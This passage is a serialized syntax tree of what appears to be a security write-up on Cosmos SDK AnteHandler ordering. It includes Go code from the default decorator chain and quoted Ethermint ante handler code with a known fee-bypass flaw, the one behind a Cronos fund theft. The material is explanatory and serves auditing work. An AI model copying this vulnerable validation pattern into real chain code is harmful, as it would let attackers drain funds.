ype":32,"value":12497},{"type":26,"tag":217,"props":79925,"children":79926},{"style":7054},[79927],{"type":32,"value":79928}," balance",{"type":26,"tag":217,"props":79930,"children":79931},{"style":7048},[79932],{"type":32,"value":180},{"type":26,"tag":217,"props":79934,"children":79935},{"style":7054},[79936],{"type":32,"value":79937},"Amount",{"type":26,"tag":217,"props":79939,"children":79940},{"style":7149},[79941],{"type":32,"value":13147},{"type":26,"tag":217,"props":79943,"children":79944},{"style":7054},[79945],{"type":32,"value":79946}," MIN_BALANCE",{"type":26,"tag":217,"props":79948,"children":79949},{"style":7048},[79950],{"type":32,"value":8064},{"type":26,"tag":217,"props":79952,"children":79953},{"class":7028,"line":7910},[79954,79958,79962,79966,79970,79974,79978],{"type":26,"tag":217,"props":79955,"children":79956},{"style":7042},[79957],{"type":32,"value":7790},{"type":26,"tag":217,"props":79959,"children":79960},{"style":7054},[79961],{"type":32,"value":79708},{"type":26,"tag":217,"props":79963,"children":79964},{"style":7048},[79965],{"type":32,"value":7599},{"type":26,"tag":217,"props":79967,"children":79968},{"style":7054},[79969],{"type":32,"value":79717},{"type":26,"tag":217,"props":79971,"children":79972},{"style":7048},[79973],{"type":32,"value":180},{"type":26,"tag":217,"props":79975,"children":79976},{"style":7064},[79977],{"type":32,"value":79726},{"type":26,"tag":217,"props":79979,"children":79980},{"style":7048},[79981],{"type":32,"value":10932},{"type":26,"tag":217,"props":79983,"children":79984},{"class":7028,"line":7954},[79985,79990],{"type":26,"tag":217,"props":79986,"children":79987},{"style":7054},[79988],{"type":32,"value":79989},"                ErrInsufficientBalance",{"type":26,"tag":217,"props":79991,"children":79992},{"style":7048},[79993],{"type":32,"value":10953},{"type":26,"tag":217,"props":79995,"children":79996},{"class":7028,"line":7985},[79997,80002],{"type":26,"tag":217,"props":79998,"children":79999},{"style":7338},[80000],{"type":32,"value":80001},"                \"Insufficient Balance\"",{"type":26,"tag":217,"props":80003,"children":80004},{"style":7048},[80005],{"type":32,"value":10953},{"type":26,"tag":217,"props":80007,"children":80008},{"class":7028,"line":8027},[80009],{"type":26,"tag":217,"props":80010,"children":80011},{"style":7048},[80012],{"type":32,"value":78380},{"type":26,"tag":217,"props":80014,"children":80015},{"class":7028,"line":8035},[80016],{"type":26,"tag":217,"props":80017,"children":80018},{"style":7048},[80019],{"type":32,"value":8722},{"type":26,"tag":217,"props":80021,"children":80022},{"class":7028,"line":8067},[80023],{"type":26,"tag":217,"props":80024,"children":80025},{"style":7048},[80026],{"type":32,"value":9754},{"type":26,"tag":217,"props":80028,"children":80029},{"class":7028,"line":8107},[80030],{"type":26,"tag":217,"props":80031,"children":80032},{"emptyLinePlaceholder":17},[80033],{"type":32,"value":7817},{"type":26,"tag":217,"props":80035,"children":80036},{"class":7028,"line":8145},[80037,80041,80046,80050,80054,80058,80063,80067,80072],{"type":26,"tag":217,"props":80038,"children":80039},{"style":7042},[80040],{"type":32,"value":7171},{"type":26,"tag":217,"props":80042,"children":80043},{"style":7064},[80044],{"type":32,"value":80045}," next",{"type":26,"tag":217,"props":80047,"children":80048},{"style":7048},[80049],{"type":32,"value":1851},{"type":26,"tag":217,"props":80051,"children":80052},{"style":7054},[80053],{"type":32,"value":79895},{"type":26,"tag":217,"props":80055,"children":80056},{"style":7048},[80057],{"type":32,"value":7599},{"type":26,"tag":217,"props":80059,"children":80060},{"style":7054},[80061],{"type":32,"value":80062},"tx",{"type":26,"tag":217,"props":80064,"children":80065},{"style":7048},[80066],{"type":32,"value":7599},{"type":26,"tag":217,"props":80068,"children":80069},{"style":7054},[80070],{"type":32,"value":80071},"simulate",{"type":26,"tag":217,"props":80073,"children":80074},{"style":7048},[80075],{"type":32,"value":10025},{"type":26,"tag":217,"props":80077,"children":80078},{"class":7028,"line":8154},[80079],{"type":26,"tag":217,"props":80080,"children":80081},{"style":7048},[80082],{"type":32,"value":7184},{"type":26,"tag":39,"props":80084,"children":80085},{},[80086,80088,80093,80095,80101,80103,80109],{"type":32,"value":80087},"Where should this custom ",{"type":26,"tag":83,"props":80089,"children":80091},{"className":80090},[],[80092],{"type":32,"value":79346},{"type":32,"value":80094}," be placed relative to other ",{"type":26,"tag":83,"props":80096,"children":80098},{"className":80097},[],[80099],{"type":32,"value":80100},"AnteHandlers",{"type":32,"value":80102}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":26,"tag":83,"props":80104,"children":80106},{"className":80105},[],[80107],{"type":32,"value":80108},"SetUpContextDecorator",{"type":32,"value":80110}," should work, right?",{"type":26,"tag":39,"props":80112,"children":80113},{},[80114],{"type":26,"tag":163,"props":80115,"children":80118},{"href":80116,"rel":80117},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[167],[80119],{"type":32,"value":77588},{"type":26,"tag":207,"props":80121,"children":80123},{"code":80122,"language":77016,"meta":8,"className":77017,"style":8},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[80124],{"type":26,"tag":83,"props":80125,"children":80126},{"__ignoreMap":8},[80127,80160,80177,80185,80215,80227,80239,80268,80296,80375,80408,80436,80481,80526,80554],{"type":26,"tag":217,"props":80128,"children":80129},{"class":7028,"line":7029},[80130,80135,80139,80143,80147,80151,80156],{"type":26,"tag":217,"props":80131,"children":80132},{"style":7054},[80133],{"type":32,"value":80134},"anteDecorators",{"type":26,"tag":217,"props":80136,"children":80137},{"style":7149},[80138],{"type":32,"value":77267},{"type":26,"tag":217,"props":80140,"children":80141},{"style":7048},[80142],{"type":32,"value":77080},{"type":26,"tag":217,"props":80144,"children":80145},{"style":7119},[80146],{"type":32,"value":79608},{"type":26,"tag":217,"props":80148,"children":80149},{"style":7048},[80150],{"type":32,"value":180},{"type":26,"tag":217,"props":80152,"children":80153},{"style":7119},[80154],{"type":32,"value":80155},"AnteDecorator",{"type":26,"tag":217,"props":80157,"children":80158},{"style":7048},[80159],{"type":32,"value":10033},{"type":26,"tag":217,"props":80161,"children":80162},{"class":7028,"line":6770},[80163,80168,80172],{"type":26,"tag":217,"props":80164,"children":80165},{"style":7064},[80166],{"type":32,"value":80167},"    NewSetUpContextDecorator",{"type":26,"tag":217,"props":80169,"children":80170},{"style":7048},[80171],{"type":32,"value":59809},{"type":26,"tag":217,"props":80173,"children":80174},{"style":7033},[80175],{"type":32,"value":80176},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":26,"tag":217,"props":80178,"children":80179},{"class":7028,"line":6779},[80180],{"type":26,"tag":217,"props":80181,"children":80182},{"style":7033},[80183],{"type":32,"value":80184},"    // INSERT HERE\n",{"type":26,"tag":217,"props":80186,"children":80187},{"class":7028,"line":7140},[80188,80193,80197,80202,80206,80211],{"type":26,"tag":217,"props":80189,"children":80190},{"style":7064},[80191],{"type":32,"value":80192},"    NewExtensionOptionsDecorator",{"type":26,"tag":217,"props":80194,"children":80195},{"style":7048},[80196],{"type":32,"value":1851},{"type":26,"tag":217,"props":80198,"children":80199},{"style":7054},[80200],{"type":32,"value":80201},"options",{"type":26,"tag":217,"props":80203,"children":80204},{"style":7048},[80205],{"type":32,"value":180},{"type":26,"tag":217,"props":80207,"children":80208},{"style":7054},[80209],{"type":32,"value":80210},"ExtensionOptionChecker",{"type":26,"tag":217,"props":80212,"children":80213},{"style":7048},[80214],{"type":32,"value":13841},{"type":26,"tag":217,"props":80216,"children":80217},{"class":7028,"line":7165},[80218,80223],{"type":26,"tag":217,"props":80219,"children":80220},{"style":7064},[80221],{"type":32,"value":80222},"    NewValidateBasicDecorator",{"type":26,"tag":217,"props":80224,"children":80225},{"style":7048},[80226],{"type":32,"value":79153},{"type":26,"tag":217,"props":80228,"children":80229},{"class":7028,"line":7178},[80230,80235],{"type":26,"tag":217,"props":80231,"children":80232},{"style":7064},[80233],{"type":32,"value":80234},"    NewTxTimeoutHeightDecorator",{"type":26,"tag":217,"props":80236,"children":80237},{"style":7048},[80238],{"type":32,"value":79153},{"type":26,"tag":217,"props":80240,"children":80241},{"class":7028,"line":7389},[80242,80247,80251,80255,80259,80264],{"type":26,"tag":217,"props":80243,"children":80244},{"style":7064},[80245],{"type":32,"value":80246},"    NewValidateMemoDecorator",{"type":26,"tag":217,"props":80248,"children":80249},{"style":7048},[80250],{"type":32,"value":1851},{"type":26,"tag":217,"props":80252,"children":80253},{"style":7054},[80254],{"type":32,"value":80201},{"type":26,"tag":217,"props":80256,"children":80257},{"style":7048},[80258],{"type":32,"value":180},{"type":26,"tag":217,"props":80260,"children":80261},{"style":7054},[80262],{"type":32,"value":80263},"AccountKeeper",{"type":26,"tag":217,"props":80265,"children":80266},{"style":7048},[80267],{"type":32,"value":13841},{"type":26,"tag":217,"props":80269,"children":80270},{"class":7028,"line":7406},[80271,80276,80280,80284,80288,80292],{"type":26,"tag":217,"props":80272,"children":80273},{"style":7064},[80274],{"type":32,"value":80275},"    NewConsumeGasForTxSizeDecorator",{"type":26,"tag":217,"props":80277,"children":80278},{"style":7048},[80279],{"type":32,"value":1851},{"type":26,"tag":217,"props":80281,"children":80282},{"style":7054},[80283],{"type":32,"value":80201},{"type":26,"tag":217,"props":80285,"children":80286},{"style":7048},[80287],{"type":32,"value":180},{"type":26,"tag":217,"props":80289,"children":80290},{"style":7054},[80291],{"type":32,"value":80263},{"type":26,"tag":217,"props":80293,"children":80294},{"style":7048},[80295],{"type":32,"value":13841},{"type":26,"tag":217,"props":80297,"children":80298},{"class":7028,"line":7439},[80299,80304,80308,80312,80316,80320,80324,80328,80332,80337,80341,80345,80349,80354,80358,80362,80366,80371],{"type":26,"tag":217,"props":80300,"children":80301},{"style":7064},[80302],{"type":32,"value":80303},"    NewDeductFeeDecorator",{"type":26,"tag":217,"props":80305,"children":80306},{"style":7048},[80307],{"type":32,"value":1851},{"type":26,"tag":217,"props":80309,"children":80310},{"style":7054},[80311],{"type":32,"value":80201},{"type":26,"tag":217,"props":80313,"children":80314},{"style":7048},[80315],{"type":32,"value":180},{"type":26,"tag":217,"props":80317,"children":80318},{"style":7054},[80319],{"type":32,"value":80263},{"type":26,"tag":217,"props":80321,"children":80322},{"style":7048},[80323],{"type":32,"value":7599},{"type":26,"tag":217,"props":80325,"children":80326},{"style":7054},[80327],{"type":32,"value":80201},{"type":26,"tag":217,"props":80329,"children":80330},{"style":7048},[80331],{"type":32,"value":180},{"type":26,"tag":217,"props":80333,"children":80334},{"style":7054},[80335],{"type":32,"value":80336},"BankKeeper",{"type":26,"tag":217,"props":80338,"children":80339},{"style":7048},[80340],{"type":32,"value":7599},{"type":26,"tag":217,"props":80342,"children":80343},{"style":7054},[80344],{"type":32,"value":80201},{"type":26,"tag":217,"props":80346,"children":80347},{"style":7048},[80348],{"type":32,"value":180},{"type":26,"tag":217,"props":80350,"children":80351},{"style":7054},[80352],{"type":32,"value":80353},"FeegrantKeeper",{"type":26,"tag":217,"props":80355,"children":80356},{"style":7048},[80357],{"type":32,"value":7599},{"type":26,"tag":217,"props":80359,"children":80360},{"style":7054},[80361],{"type":32,"value":80201},{"type":26,"tag":217,"props":80363,"children":80364},{"style":7048},[80365],{"type":32,"value":180},{"type":26,"tag":217,"props":80367,"children":80368},{"style":7054},[80369],{"type":32,"value":80370},"TxFeeChecker",{"type":26,"tag":217,"props":80372,"children":80373},{"style":7048},[80374],{"type":32,"value":13841},{"type":26,"tag":217,"props":80376,"children":80377},{"class":7028,"line":7487},[80378,80383,80387,80391,80395,80399,80403],{"type":26,"tag":217,"props":80379,"children":80380},{"style":7064},[80381],{"type":32,"value":80382},"    NewSetPubKeyDecorator",{"type":26,"tag":217,"props":80384,"children":80385},{"style":7048},[80386],{"type":32,"value":1851},{"type":26,"tag":217,"props":80388,"children":80389},{"style":7054},[80390],{"type":32,"value":80201},{"type":26,"tag":217,"props":80392,"children":80393},{"style":7048},[80394],{"type":32,"value":180},{"type":26,"tag":217,"props":80396,"children":80397},{"style":7054},[80398],{"type":32,"value":80263},{"type":26,"tag":217,"props":80400,"children":80401},{"style":7048},[80402],{"type":32,"value":5407},{"type":26,"tag":217,"props":80404,"children":80405},{"style":7033},[80406],{"type":32,"value":80407},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":26,"tag":217,"props":80409,"children":80410},{"class":7028,"line":7524},[80411,80416,80420,80424,80428,80432],{"type":26,"tag":217,"props":80412,"children":80413},{"style":7064},[80414],{"type":32,"value":80415},"    NewValidateSigCountDecorator",{"type":26,"tag":217,"props":80417,"children":80418},{"style":7048},[80419],{"type":32,"value":1851},{"type":26,"tag":217,"props":80421,"children":80422},{"style":7054},[80423],{"type":32,"value":80201},{"type":26,"tag":217,"props":80425,"children":80426},{"style":7048},[80427],{"type":32,"value":180},{"type":26,"tag":217,"props":80429,"children":80430},{"style":7054},[80431],{"type":32,"value":80263},{"type":26,"tag":217,"props":80433,"children":80434},{"style":7048},[80435],{"type":32,"value":13841},{"type":26,"tag":217,"props":80437,"children":80438},{"class":7028,"line":7553},[80439,80444,80448,80452,80456,80460,80464,80468,80472,80477],{"type":26,"tag":217,"props":80440,"children":80441},{"style":7064},[80442],{"type":32,"value":80443},"    NewSigGasConsumeDecorator",{"type":26,"tag":217,"props":80445,"children":80446},{"style":7048},[80447],{"type":32,"value":1851},{"type":26,"tag":217,"props":80449,"children":80450},{"style":7054},[80451],{"type":32,"value":80201},{"type":26,"tag":217,"props":80453,"children":80454},{"style":7048},[80455],{"type":32,"value":180},{"type":26,"tag":217,"props":80457,"children":80458},{"style":7054},[80459],{"type":32,"value":80263},{"type":26,"tag":217,"props":80461,"children":80462},{"style":7048},[80463],{"type":32,"value":7599},{"type":26,"tag":217,"props":80465,"children":80466},{"style":7054},[80467],{"type":32,"value":80201},{"type":26,"tag":217,"props":80469,"children":80470},{"style":7048},[80471],{"type":32,"value":180},{"type":26,"tag":217,"props":80473,"children":80474},{"style":7054},[80475],{"type":32,"value":80476},"SigGasConsumer",{"type":26,"tag":217,"props":80478,"children":80479},{"style":7048},[80480],{"type":32,"value":13841},{"type":26,"tag":217,"props":80482,"children":80483},{"class":7028,"line":7570},[80484,80489,80493,80497,80501,80505,80509,80513,80517,80522],{"type":26,"tag":217,"props":80485,"children":80486},{"style":7064},[80487],{"type":32,"value":80488},"    NewSigVerificationDecorator",{"type":26,"tag":217,"props":80490,"children":80491},{"style":7048},[80492],{"type":32,"value":1851},{"type":26,"tag":217,"props":80494,"children":80495},{"style":7054},[80496],{"type":32,"value":80201},{"type":26,"tag":217,"props":80498,"children":80499},{"style":7048},[80500],{"type":32,"value":180},{"type":26,"tag":217,"props":80502,"children":80503},{"style":7054},[80504],{"type":32,"value":80263},{"type":26,"tag":217,"props":80506,"children":80507},{"style":7048},[80508],{"type":32,"value":7599},{"type":26,"tag":217,"props":80510,"children":80511},{"style":7054},[80512],{"type":32,"value":80201},{"type":26,"tag":217,"props":80514,"children":80515},{"style":7048},[80516],{"type":32,"value":180},{"type":26,"tag":217,"props":80518,"children":80519},{"style":7054},[80520],{"type":32,"value":80521},"SignModeHandler",{"type":26,"tag":217,"props":80523,"children":80524},{"style":7048},[80525],{"type":32,"value":13841},{"type":26,"tag":217,"props":80527,"children":80528},{"class":7028,"line":7621},[80529,80534,80538,80542,80546,80550],{"type":26,"tag":217,"props":80530,"children":80531},{"style":7064},[80532],{"type":32,"value":80533},"    NewIncrementSequenceDecorator",{"type":26,"tag":217,"props":80535,"children":80536},{"style":7048},[80537],{"type":32,"value":1851},{"type":26,"tag":217,"props":80539,"children":80540},{"style":7054},[80541],{"type":32,"value":80201},{"type":26,"tag":217,"props":80543,"children":80544},{"style":7048},[80545],{"type":32,"value":180},{"type":26,"tag":217,"props":80547,"children":80548},{"style":7054},[80549],{"type":32,"value":80263},{"type":26,"tag":217,"props":80551,"children":80552},{"style":7048},[80553],{"type":32,"value":13841},{"type":26,"tag":217,"props":80555,"children":80556},{"class":7028,"line":7672},[80557],{"type":26,"tag":217,"props":80558,"children":80559},{"style":7048},[80560],{"type":32,"value":7184},{"type":26,"tag":39,"props":80562,"children":80563},{},[80564,80566,80571,80573,80579,80580,80586],{"type":32,"value":80565},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":26,"tag":83,"props":80567,"children":80569},{"className":80568},[],[80570],{"type":32,"value":80100},{"type":32,"value":80572},", such as ",{"type":26,"tag":83,"props":80574,"children":80576},{"className":80575},[],[80577],{"type":32,"value":80578},"SigGasConsumeDecorator",{"type":32,"value":1308},{"type":26,"tag":83,"props":80581,"children":80583},{"className":80582},[],[80584],{"type":32,"value":80585},"ConsumeGasForTxSizeDecorator",{"type":32,"value":80587},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":26,"tag":39,"props":80589,"children":80590},{},[80591,80593,80599,80601,80606],{"type":32,"value":80592},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":26,"tag":83,"props":80594,"children":80596},{"className":80595},[],[80597],{"type":32,"value":80598},"msgs",{"type":32,"value":80600}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":26,"tag":83,"props":80602,"children":80604},{"className":80603},[],[80605],{"type":32,"value":79421},{"type":32,"value":80607}," chain.",{"type":26,"tag":607,"props":80609,"children":80611},{"id":80610},"real-world-examples-2",[80612],{"type":32,"value":77538},{"type":26,"tag":39,"props":80614,"children":80615},{},[80616,80618,80623,80625,80632],{"type":32,"value":80617},"An instance of ",{"type":26,"tag":83,"props":80619,"children":80621},{"className":80620},[],[80622],{"type":32,"value":79346},{"type":32,"value":80624}," misuse is a ",{"type":26,"tag":163,"props":80626,"children":80629},{"href":80627,"rel":80628},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[167],[80630],{"type":32,"value":80631},"Theft of Fund bug",{"type":32,"value":80633}," that was exploited in a Cronos contract.",{"type":26,"tag":39,"props":80635,"children":80636},{},[80637,80639,80644,80646,80651,80653,80659,80661,80667,80669,80674,80676,80681],{"type":32,"value":80638},"In this scenario, ",{"type":26,"tag":83,"props":80640,"children":80642},{"className":80641},[],[80643],{"type":32,"value":80598},{"type":32,"value":80645}," are multiplexed to different ",{"type":26,"tag":83,"props":80647,"children":80649},{"className":80648},[],[80650],{"type":32,"value":79346},{"type":32,"value":80652}," sets through the user-controlled ",{"type":26,"tag":83,"props":80654,"children":80656},{"className":80655},[],[80657],{"type":32,"value":80658},"ExtensionOptionsEthereumTx",{"type":32,"value":80660}," option. However, due to a lack of tx validation, if a ",{"type":26,"tag":83,"props":80662,"children":80664},{"className":80663},[],[80665],{"type":32,"value":80666},"MsgEthereumTx",{"type":32,"value":80668}," does not have ",{"type":26,"tag":83,"props":80670,"children":80672},{"className":80671},[],[80673],{"type":32,"value":80658},{"type":32,"value":80675}," specified, it will be routed to non-Ethereum ",{"type":26,"tag":83,"props":80677,"children":80679},{"className":80678},[],[80680],{"type":32,"value":80100},{"type":32,"value":80682},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":26,"tag":39,"props":80684,"children":80685},{},[80686],{"type":26,"tag":163,"props":80687,"children":80690},{"href":80688,"rel":80689},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[167],[80691],{"type":32,"value":77588},{"type":26,"tag":207,"props":80693,"children":80695},{"code":80694,"language":77016,"meta":8,"className":77017,"style":8},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[80696],{"type":26,"tag":83,"props":80697,"children":80698},{"__ignoreMap":8},[80699,80715,80740,80764,80781,80806,80832,80857,80880,80895,80951,80993,81019,81026,81072,81079,81125,81141,81171,81208,81261,81279,81287,81294,81323,81339,81347,81373,81381,81388,81400,81434,81480,81492,81499,81506,81513,81553,81560,81567,81574,81582,81589,81613,81637,81665,81690,81698,81731,81738,81750,81781,81836,81848,81855,81862,81869,81908,81915],{"type":26,"tag":217,"props":80700,"children":80701},{"class":7028,"line":7029},[80702,80706,80711],{"type":26,"tag":217,"props":80703,"children":80704},{"style":7154},[80705],{"type":32,"value":26409},{"type":26,"tag":217,"props":80707,"children":80708},{"style":7064},[80709],{"type":32,"value":80710}," NewAnteHandler",{"type":26,"tag":217,"props":80712,"children":80713},{"style":7048},[80714],{"type":32,"value":10932},{"type":26,"tag":217,"props":80716,"children":80717},{"class":7028,"line":6770},[80718,80723,80728,80732,80736],{"type":26,"tag":217,"props":80719,"children":80720},{"style":7054},[80721],{"type":32,"value":80722},"    ak",{"type":26,"tag":217,"props":80724,"children":80725},{"style":7119},[80726],{"type":32,"value":80727}," evmtypes",{"type":26,"tag":217,"props":80729,"children":80730},{"style":7048},[80731],{"type":32,"value":180},{"type":26,"tag":217,"props":80733,"children":80734},{"style":7119},[80735],{"type":32,"value":80263},{"type":26,"tag":217,"props":80737,"children":80738},{"style":7048},[80739],{"type":32,"value":10953},{"type":26,"tag":217,"props":80741,"children":80742},{"class":7028,"line":6779},[80743,80748,80752,80756,80760],{"type":26,"tag":217,"props":80744,"children":80745},{"style":7054},[80746],{"type":32,"value":80747},"    bankKeeper",{"type":26,"tag":217,"props":80749,"children":80750},{"style":7119},[80751],{"type":32,"value":80727},{"type":26,"tag":217,"props":80753,"children":80754},{"style":7048},[80755],{"type":32,"value":180},{"type":26,"tag":217,"props":80757,"children":80758},{"style":7119},[80759],{"type":32,"value":80336},{"type":26,"tag":217,"props":80761,"children":80762},{"style":7048},[80763],{"type":32,"value":10953},{"type":26,"tag":217,"props":80765,"children":80766},{"class":7028,"line":7140},[80767,80772,80777],{"type":26,"tag":217,"props":80768,"children":80769},{"style":7054},[80770],{"type":32,"value":80771},"    evmKeeper",{"type":26,"tag":217,"props":80773,"children":80774},{"style":7119},[80775],{"type":32,"value":80776}," EVMKeeper",{"type":26,"tag":217,"props":80778,"children":80779},{"style":7048},[80780],{"type":32,"value":10953},{"type":26,"tag":217,"props":80782,"children":80783},{"class":7028,"line":7165},[80784,80789,80794,80798,80802],{"type":26,"tag":217,"props":80785,"children":80786},{"style":7054},[80787],{"type":32,"value":80788},"    feeGrantKeeper",{"type":26,"tag":217,"props":80790,"children":80791},{"style":7119},[80792],{"type":32,"value":80793}," authante",{"type":26,"tag":217,"props":80795,"children":80796},{"style":7048},[80797],{"type":32,"value":180},{"type":26,"tag":217,"props":80799,"children":80800},{"style":7119},[80801],{"type":32,"value":80353},{"type":26,"tag":217,"props":80803,"children":80804},{"style":7048},[80805],{"type":32,"value":10953},{"type":26,"tag":217,"props":80807,"children":80808},{"class":7028,"line":7178},[80809,80814,80819,80823,80828],{"type":26,"tag":217,"props":80810,"children":80811},{"style":7054},[80812],{"type":32,"value":80813},"    channelKeeper",{"type":26,"tag":217,"props":80815,"children":80816},{"style":7119},[80817],{"type":32,"value":80818}," channelkeeper",{"type":26,"tag":217,"props":80820,"children":80821},{"style":7048},[80822],{"type":32,"value":180},{"type":26,"tag":217,"props":80824,"children":80825},{"style":7119},[80826],{"type":32,"value":80827},"Keeper",{"type":26,"tag":217,"props":80829,"children":80830},{"style":7048},[80831],{"type":32,"value":10953},{"type":26,"tag":217,"props":80833,"children":80834},{"class":7028,"line":7389},[80835,80840,80845,80849,80853],{"type":26,"tag":217,"props":80836,"children":80837},{"style":7054},[80838],{"type":32,"value":80839},"    signModeHandler",{"type":26,"tag":217,"props":80841,"children":80842},{"style":7119},[80843],{"type":32,"value":80844}," authsigning",{"type":26,"tag":217,"props":80846,"children":80847},{"style":7048},[80848],{"type":32,"value":180},{"type":26,"tag":217,"props":80850,"children":80851},{"style":7119},[80852],{"type":32,"value":80521},{"type":26,"tag":217,"props":80854,"children":80855},{"style":7048},[80856],{"type":32,"value":10953},{"type":26,"tag":217,"props":80858,"children":80859},{"class":7028,"line":7406},[80860,80864,80868,80872,80876],{"type":26,"tag":217,"props":80861,"children":80862},{"style":7048},[80863],{"type":32,"value":8380},{"type":26,"tag":217,"props":80865,"children":80866},{"style":7119},[80867],{"type":32,"value":79608},{"type":26,"tag":217,"props":80869,"children":80870},{"style":7048},[80871],{"type":32,"value":180},{"type":26,"tag":217,"props":80873,"children":80874},{"style":7119},[80875],{"type":32,"value":79346},{"type":26,"tag":217,"props":80877,"children":80878},{"style":7048},[80879],{"type":32,"value":8064},{"type":26,"tag":217,"props":80881,"children":80882},{"class":7028,"line":7439},[80883,80887,80891],{"type":26,"tag":217,"props":80884,"children":80885},{"style":7042},[80886],{"type":32,"value":7171},{"type":26,"tag":217,"props":80888,"children":80889},{"style":7154},[80890],{"type":32,"value":26350},{"type":26,"tag":217,"props":80892,"children":80893},{"style":7048},[80894],{"type":32,"value":10932},{"type":26,"tag":217,"props":80896,"children":80897},{"class":7028,"line":7487},[80898,80902,80906,80910,80914,80918,80922,80926,80930,80934,80938,80943,80947],{"type":26,"tag":217,"props":80899,"children":80900},{"style":7054},[80901],{"type":32,"value":78279},{"type":26,"tag":217,"props":80903,"children":80904},{"style":7119},[80905],{"type":32,"value":79518},{"type":26,"tag":217,"props":80907,"children":80908},{"style":7048},[80909],{"type":32,"value":180},{"type":26,"tag":217,"props":80911,"children":80912},{"style":7119},[80913],{"type":32,"value":77200},{"type":26,"tag":217,"props":80915,"children":80916},{"style":7048},[80917],{"type":32,"value":7599},{"type":26,"tag":217,"props":80919,"children":80920},{"style":7054},[80921],{"type":32,"value":80062},{"type":26,"tag":217,"props":80923,"children":80924},{"style":7119},[80925],{"type":32,"value":79518},{"type":26,"tag":217,"props":80927,"children":80928},{"style":7048},[80929],{"type":32,"value":180},{"type":26,"tag":217,"props":80931,"children":80932},{"style":7119},[80933],{"type":32,"value":79551},{"type":26,"tag":217,"props":80935,"children":80936},{"style":7048},[80937],{"type":32,"value":7599},{"type":26,"tag":217,"props":80939,"children":80940},{"style":7054},[80941],{"type":32,"value":80942},"sim",{"type":26,"tag":217,"props":80944,"children":80945},{"style":7119},[80946],{"type":32,"value":79568},{"type":26,"tag":217,"props":80948,"children":80949},{"style":7048},[80950],{"type":32,"value":10953},{"type":26,"tag":217,"props":80952,"children":80953},{"class":7028,"line":7524},[80954,80959,80964,80968,80972,80976,80980,80984,80989],{"type":26,"tag":217,"props":80955,"children":80956},{"style":7048},[80957],{"type":32,"value":80958},"    ) 